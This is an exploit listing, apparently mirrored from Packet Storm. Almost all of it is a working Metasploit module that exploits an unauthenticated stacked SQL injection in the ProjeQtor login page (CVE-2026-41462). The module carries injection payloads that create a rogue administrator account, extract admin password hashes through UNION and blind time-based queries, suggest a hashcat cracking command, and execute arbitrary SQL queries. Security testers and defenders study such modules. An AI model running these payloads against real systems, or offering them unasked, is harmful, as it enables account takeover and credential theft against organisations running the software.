Share
## https://sploitus.com/exploit?id=PACKETSTORM:222885
==================================================================================================================================
    | # Title     : ProjeQtor 12.4.3 Unauthenticated SQL Injection Auxiliary Module                                                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.projeqtor.com/en/                                                                                    |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module targets an unauthenticated SQL injection vulnerability in ProjeQtor login functionality and is structured as a scanner-style module with multiple operational modes.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'ProjeQtor Unauthenticated SQL Injection (CVE-2026-41462)',
            'Description' => %q{
              This module exploits an unauthenticated stacked SQL injection vulnerability
              in ProjeQtor versions 7.0 through 12.4.3. The vulnerability exists in the
              login functionality where the 'login' parameter is directly concatenated
              into SQL queries without sanitization.
    
              Successful exploitation allows attackers to:
              1. Create new administrator accounts
              2. Extract existing admin credentials (MD5 hashes)
              3. Perform arbitrary SQL queries (stacked queries)
    
              Tested on ProjeQtor 12.4.3 and earlier versions.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-41462'],
              ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2026-41462'],
              ['URL', 'https://github.com/0xBlackash/CVE-2026-41462']
            ],
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            },
            'DefaultOptions' => {
              'SSL' => false,
              'RPORT' => 80,
              'WfsDelay' => 5
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path to ProjeQtor installation', '/']),
          OptEnum.new('ACTION', [true, 'Action to perform', 'CREATE_ADMIN', ['CREATE_ADMIN', 'EXTRACT_CREDS', 'CUSTOM_QUERY']]),
          OptString.new('USERNAME', [false, 'Username for new admin (for CREATE_ADMIN action)', 'pwned']),
          OptString.new('PASSWORD', [false, 'Password for new admin (for CREATE_ADMIN action)', 'Pwned123!']),
          OptString.new('SQL_QUERY', [false, 'Custom SQL query to execute (for CUSTOM_QUERY action)', 'SELECT version()']),
          OptInt.new('TIMEOUT', [true, 'HTTP request timeout', 10])
        ])
    
        register_advanced_options([
          OptBool.new('VERBOSE_SQL', [false, 'Show SQL error messages in output', false])
        ])
      end
    
      def run_host(ip)
        unless check == Exploit::CheckCode::Vulnerable
          print_error("#{peer} - Target does not appear to be vulnerable")
          return
        end
    
        case datastore['ACTION']
        when 'CREATE_ADMIN'
          create_admin
        when 'EXTRACT_CREDS'
          extract_credentials
        when 'CUSTOM_QUERY'
          execute_custom_query
        end
      end
    
      def check
        print_status("#{peer} - Checking if target is vulnerable...")
    
        time_payload = "admin' OR IF(1=1, SLEEP(5), 0) -- "
        normal_payload = "admin' OR 1=1 -- "
    
        begin
          start_time = Time.now
          res_time = send_sqli_request(time_payload)
          elapsed_time = Time.now - start_time
          res_normal = send_sqli_request(normal_payload)
    
          if elapsed_time >= 5 && res_time && res_normal
            print_good("#{peer} - Time-based blind SQL injection detected!")
            return Exploit::CheckCode::Vulnerable
          elsif sqli_error_detected?(res_time) || sqli_error_detected?(res_normal)
            print_good("#{peer} - Error-based SQL injection detected!")
            return Exploit::CheckCode::Vulnerable
          else
            print_error("#{peer} - No SQL injection indicators found")
            return Exploit::CheckCode::Safe
          end
        rescue ::Rex::ConnectionError, ::Timeout::Error => e
          print_error("#{peer} - Connection error: #{e.message}")
          return Exploit::CheckCode::Unknown
        end
      end
    
      def send_sqli_request(payload, timeout = datastore['TIMEOUT'])
        login_path = normalize_uri(target_uri.path, 'login.php')
        alt_paths = [
          normalize_uri(target_uri.path, 'projeqtor', 'login.php'),
          normalize_uri(target_uri.path, 'index.php', 'login')
        ]
    
        [login_path, *alt_paths].each do |path|
          begin
            res = send_request_cgi({
              'method' => 'POST',
              'uri' => path,
              'vars_post' => {
                'login' => payload,
                'password' => Rex::Text.rand_text_alpha(8),
                'submit' => '1'
              },
              'headers' => {
                'User-Agent' => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
              }
            }, timeout)
    
            return res if res
          rescue ::Rex::ConnectionError, ::Errno::ECONNRESET
            next
          end
        end
    
        nil
      end
    
      def sqli_error_detected?(response)
        return false unless response && response.body
    
        error_patterns = [
          /SQL syntax.*MySQL/i,
          /You have an error in your SQL syntax/i,
          /mysql_fetch_/i,
          /Warning.*mysql/i,
          /Unclosed quotation mark/i,
          /Microsoft OLE DB/i,
          /ODBC Driver.*error/i,
          /PostgreSQL.*ERROR/i
        ]
    
        error_patterns.any? { |pattern| response.body =~ pattern }
      end
    
      def create_admin
        username = datastore['USERNAME']
        password = datastore['PASSWORD']
    
        print_status("#{peer} - Attempting to create admin user: #{username}")
        payload = "admin' ; INSERT INTO resource (name, login, password, profile) VALUES ('#{username}', '#{username}', MD5('#{password}'), 1) -- "
    
        res = send_sqli_request(payload)
    
        if res
          print_good("#{peer} - Request sent successfully!")
          print_good("#{peer} - If vulnerable, admin user created!")
          print_line
          print_line("Credentials:")
          print_line("  Username: #{username}")
          print_line("  Password: #{password}")
          print_line("  Login URL: #{full_uri(normalize_uri(target_uri.path, 'login.php'))}")
          print_line
    
          store_cred(
            user: username,
            password: password,
            service_name: 'ProjeQtor',
            proof: "SQL Injection created admin account",
            origin_type: :service,
            private_type: :password
          )
    
          print_status("Credentials stored in Metasploit database")
        else
          print_error("#{peer} - Failed to send request (no response)")
        end
      end
    
      def extract_credentials
        print_status("#{peer} - Attempting to extract admin credentials...")
    
        columns_count = detect_columns
    
        unless columns_count
          print_error("#{peer} - Could not determine column count, using brute force method")
          return brute_force_extract
        end
    
        union_payload = "admin' UNION SELECT "
        union_payload << (1..columns_count).map { |i|
          if i == columns_count - 1
            "login"
          elsif i == columns_count
            "password"
          else
            i.to_s
          end
        }.join(',')
        union_payload << " FROM resource WHERE profile=1 AND login IS NOT NULL LIMIT 1 -- "
    
        res = send_sqli_request(union_payload)
    
        if res && res.body
    
          patterns = [
            /([a-zA-Z0-9_@.-]+).*?([a-f0-9]{32})/m,
            /login["']?\s*[:=]\s*["']([^"']+)["'].*?password["']?\s*[:=]\s*["']([a-f0-9]{32})/i,
            />([a-zA-Z0-9_@.-]+)<.*?>([a-f0-9]{32})</m
          ]
    
          patterns.each do |pattern|
            matches = res.body.scan(pattern)
            if matches && !matches.empty?
              matches.each do |login, hash|
                if hash =~ /^[a-f0-9]{32}$/ && login.length > 0
                  print_good("#{peer} - Admin credentials extracted!")
                  print_line
                  print_line("  Login: #{login}")
                  print_line("  MD5 Hash: #{hash}")
                  print_line("  Crack command: hashcat -m 0 #{hash} /path/to/wordlist")
                  print_line
    
                  store_loot(
                    'projeqtor.admin.hash',
                    'text/plain',
                    rhost,
                    "Admin login: #{login}\nMD5 Hash: #{hash}",
                    'projeqtor_admin_hash.txt',
                    "ProjeQtor admin password hash"
                  )
    
                  return
                end
              end
            end
          end
    
          print_error("#{peer} - Could not extract credentials from response")
          print_error("Enable VERBOSE_SQL to see full response") if datastore['VERBOSE_SQL']
          print_warning("Response snippet: #{res.body[0..500]}") if datastore['VERBOSE_SQL']
        else
          print_error("#{peer} - No response received")
        end
      end
    
      def brute_force_extract
        print_status("#{peer} - Using time-based extraction...")
    
        extracted_login = ""
        charset = ('a'..'z').to_a + ('A'..'Z').to_a + ('0'..'9').to_a + ['_', '@', '.', '-']
    
        print_status("Extracting admin login (this may take a while)...")
    
        1.upto(50) do |pos|
          found = false
          charset.each do |char|
            payload = "admin' OR (SELECT SUBSTRING(login,#{pos},1) FROM resource WHERE profile=1 LIMIT 1) = '#{char}' AND SLEEP(3) -- "
    
            start_time = Time.now
            res = send_sqli_request(payload)
            elapsed = Time.now - start_time
    
            if elapsed >= 3
              extracted_login << char
              print_status("  Login so far: #{extracted_login}")
              found = true
              break
            end
          end
          break unless found
        end
    
        if extracted_login.length > 0
          print_good("#{peer} - Extracted login: #{extracted_login}")
    
          extracted_hash = ""
          print_status("Extracting password hash...")
    
          1.upto(32) do |pos|
            found = false
            ('0'..'9').to_a.each do |char|
              payload = "admin' OR (SELECT SUBSTRING(password,#{pos},1) FROM resource WHERE login='#{extracted_login}') = '#{char}' AND SLEEP(2) -- "
    
              start_time = Time.now
              res = send_sqli_request(payload)
              elapsed = Time.now - start_time
    
              if elapsed >= 2
                extracted_hash << char
                print_status("  Hash so far: #{extracted_hash}")
                found = true
                break
              end
            end
            break unless found
          end
    
          if extracted_hash.length == 32
            print_good("Complete credentials:")
            print_line("  Login: #{extracted_login}")
            print_line("  MD5 Hash: #{extracted_hash}")
          end
        end
      end
    
      def detect_columns
        (5..30).each do |count|
          payload = "admin' UNION SELECT #{Array.new(count, 'NULL').join(',')} FROM resource -- "
    
          res = send_sqli_request(payload)
    
          if res && !sqli_error_detected?(res)
            print_good("#{peer} - Detected #{count} columns")
            return count
          end
        end
        nil
      end
    
      def execute_custom_query
        sql_query = datastore['SQL_QUERY']
    
        print_status("#{peer} - Executing custom SQL: #{sql_query}")
        payload = "admin' ; #{sql_query} -- "
    
        res = send_sqli_request(payload)
    
        if res
          print_status("#{peer} - Query executed (check server logs for output)")
    
          if sqli_error_detected?(res)
            print_error("#{peer} - SQL error detected, query may have failed")
            if datastore['VERBOSE_SQL']
              print_line("Error snippet:")
              print_line(res.body.scan(/SQL.*error|Warning.*/i).first.to_s)
            end
          else
            print_good("#{peer} - Query executed successfully (no errors)")
          end
        else
          print_error("#{peer} - Failed to execute query")
        end
      end
    
      def full_uri(uri)
        ssl = datastore['SSL']
        proto = ssl ? 'https' : 'http'
        port = datastore['RPORT']
        port_str = (port == 80 && !ssl) || (port == 443 && ssl) ? '' : ":#{port}"
        "#{proto}://#{rhost}#{port_str}#{uri}"
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================